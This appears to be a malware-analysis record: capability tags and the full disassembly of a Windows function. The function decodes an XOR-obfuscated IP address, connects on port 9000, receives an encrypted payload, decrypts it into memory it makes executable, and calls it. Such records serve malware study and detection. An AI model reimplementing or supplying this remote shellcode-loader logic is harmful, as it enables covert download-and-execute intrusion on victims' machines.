Function at 0x140001220
Capabilities:
Allocate or change rwx memory
Connect socket
Contain obfuscated stackstrings
Convert ip address from string
Encode data using xor
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
xor esi, esi
mov r15d, 0xbd3d
mov edx, esi
nop dword [rax]
lea eax, [rdx - 1]
xor eax, edx
add edx, 2
xor r15d, eax
cmp edx, 0x1e0aac8
jl 0x140001250
mov r14d, 5
cmp ecx, 2
jge 0x1400012e3
mov dword [rsp + 0x40], 0xcb89f1fb
mov dword [rsp + 0x44], 0xc5fee4e7
mov word [rsp + 0x48], 0x808e
mov byte [rsp + 0x4a], 0x35
lea rax, [rsp + 0x40]
mov ecx, 0xb
xor byte [rax], 0x35
inc rax
dec rcx
jne 0x140001294
mov dword [rbp + 0x208], 0xa994b7ee
mov byte [rbp + 0x20c], 0x5a
lea rax, [rbp + 0x208]
mov rcx, r14
nop word [rax + rax]
xor byte [rax], 0x5a
inc rax
dec rcx
jne 0x1400012c0
lea r8, [rbp + 0x208]
lea rdx, [rsp + 0x40]
mov r9d, 0x1000
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x10a2
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x10]
mov ecx, 0x202
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x78], esi
mov r13, rsi
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, esi
mov edi, 2
mov edx, 1
mov ecx, edi
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x14000175f
xor eax, eax
mov ecx, 0x2328
mov qword [rbp - 0x80], rax
mov word [rbp - 0x80], di
mov qword [rbp - 0x78], rax
call qword [sym.imp.WS2_32.dll_htons]
mov dword [rsp + 0x68], 0x6f777073
mov dword [rsp + 0x6c], 0x6f717473
mov word [rbp - 0x7e], ax
mov dword [rsp + 0x70], 0x6f777170
mov dword [rsp + 0x74], 0x41787870
lea rax, [rsp + 0x68]
mov ecx, reloc.WS2_32.dll_recv
xor byte [rax], 0x41
inc rax
dec rcx
jne 0x140001375
lea r8, [rbp - 0x7c]
lea rdx, [rsp + 0x68]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
lea rdx, [rbp - 0x80]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, r12
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400013c4
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
mov ebx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001310
mov dword [rsp + 0x58], 0x752a7529
mov dword [rsp + 0x5c], 0x74626777
mov dword [rsp + 0x60], 0x772f352f
mov dword [rsp + 0x64], 0x41767776
lea rax, [rsp + 0x58]
mov ecx, reloc.WS2_32.dll_recv
nop
xor byte [rax], 0x41
inc rax
dec rcx
jne 0x1400013f0
lea rcx, [rbp - 0x70]
xor edx, edx
mov r8d, 0x80
call sub.MSVCR100.dll_memset
mov r11, qword [rsp + 0x58]
mov rax, qword [rsp + 0x60]
xor ecx, ecx
mov qword [rbp - 0x70], r11
mov qword [rbp - 0x68], rax
call qword [sym.imp.MSVCR100.dll__time64]
mov rcx, rax
call qword [sym.imp.MSVCR100.dll_srand]
mov rdi, rsi
call qword [sym.imp.MSVCR100.dll_rand]
inc rdi
mov byte [rbp + rdi - 0x61], al
cmp rdi, 0x10
jl 0x140001432
mov r8, rsi
mov r9d, 2
nop
lea ecx, [r9 - 2]
mov eax, 0x88888889
add r8, 4
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
movsxd rax, ecx
movzx ecx, byte [rbp + rax - 0x60]
mov eax, 0x88888889
xor byte [rbp + r8 - 0x74], cl
lea ecx, [r9 - 1]
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
movsxd rax, ecx
movzx ecx, byte [rbp + rax - 0x60]
mov eax, 0x88888889
xor byte [rbp + r8 - 0x73], cl
imul r9d
add edx, r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
imul edx, edx, 0xf
sub eax, edx
cdqe
movzx ecx, byte [rbp + rax - 0x60]
mov eax, 0x88888889
xor byte [rbp + r8 - 0x72], cl
lea ecx, [r9 + 1]
add r9d, 4
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
movsxd rax, ecx
movzx ecx, byte [rbp + rax - 0x60]
xor byte [rbp + r8 - 0x71], cl
cmp r8, 0x10
jl 0x140001450
xor r9d, r9d
lea rdx, [rbp - 0x70]
mov rcx, r12
lea r8d, [r9 + 0x20]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140001528
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
xor r9d, r9d
lea rdx, [rbp + 0x208]
mov rcx, r12
lea r8d, [r9 + 4]
mov dword [rbp + 0x208], esi
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp eax, 0xffffffff
je 0x14000157d
test eax, eax
je 0x14000157d
movsxd rax, dword [rbp + 0x208]
test eax, eax
jle 0x14000157d
test r13, r13
jne 0x14000159e
lea r9d, [r13 + 0x40]
mov rdx, rax
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
test rax, rax
jne 0x140001598
mov rcx, r12
mov ebx, esi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000130b
mov eax, dword [rbp + 0x208]
cmp ebx, eax
jge 0x1400015f4
nop word [rax + rax]
sub eax, ebx
mov ecx, 0x400
movsxd rdx, ebx
cmp eax, ecx
cmovg eax, ecx
add rdx, r13
xor r9d, r9d
mov r8d, eax
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp eax, 0xffffffff
je 0x1400015ea
test eax, eax
je 0x1400015ec
add ebx, eax
mov eax, dword [rbp + 0x208]
cmp ebx, eax
jl 0x1400015b0
jmp 0x1400015f2
mov ebx, esi
mov eax, dword [rbp + 0x208]
cmp ebx, eax
je 0x14000161f
cmp edi, 0xffffffff
mov edi, 2
jne 0x140001310
mov rcx, r12
mov ebx, esi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001310
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
lea r10d, [rbx - 0x80]
mov r8d, esi
test r10d, r10d
jle 0x140001672
lea r9, [r13 + 0x80]
nop dword [rax + rax]
mov eax, 0x2040811
mov ecx, r8d
inc r9
mul r8d
sub ecx, edx
mov eax, r8d
shr ecx, 1
inc r8d
add ecx, edx
shr ecx, 6
imul ecx, ecx, 0x7f
sub eax, ecx
cdqe
movzx ecx, byte [rax + r13]
xor byte [r9 - 1], cl
cmp r8d, r10d
jl 0x140001640
mov dword [rsp + 0x50], 0x1a1d1519
mov byte [rsp + 0x54], 0x74
lea rax, [rsp + 0x50]
xor byte [rax], 0x74
inc rax
dec r14
jne 0x140001684
cmp dword [rbp + 0x1f0], 2
jge 0x1400016d2
lea rdx, [rsp + 0x50]
mov r8d, esi
movsx eax, byte [rdx]
ror r8d, 0xd
inc rdx
add r8d, eax
cmp byte [rdx - 1], sil
jne 0x1400016a0
lea rax, [rbp + 0x1f0]
xor r9d, r9d
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
jmp 0x140001719
lea rcx, [rsp + 0x50]
nop word [rax + rax]
movsx eax, byte [rcx]
ror esi, 0xd
inc rcx
add esi, eax
cmp byte [rcx - 1], 0
jne 0x1400016e0
lea rax, [rbp + 0x1f0]
lea r9, [0x140004020]
mov r8d, esi
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5c
lea edx, [rbx - 0x80]
lea rcx, [r13 + 0x80]
call fcn.140001000
test eax, eax
je 0x14000175a
mov rbx, qword [rsp + 0x40]
mov edx, dword [rbp + 0x1f0]
lea r9, [rsp + 0x78]
mov rcx, rbx
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000175a
call rbx
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_free]
mov eax, r15d
jmp 0x140001764
mov eax, 1
mov rbx, qword [rsp + 0x2f8]
add rsp, 0x2b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret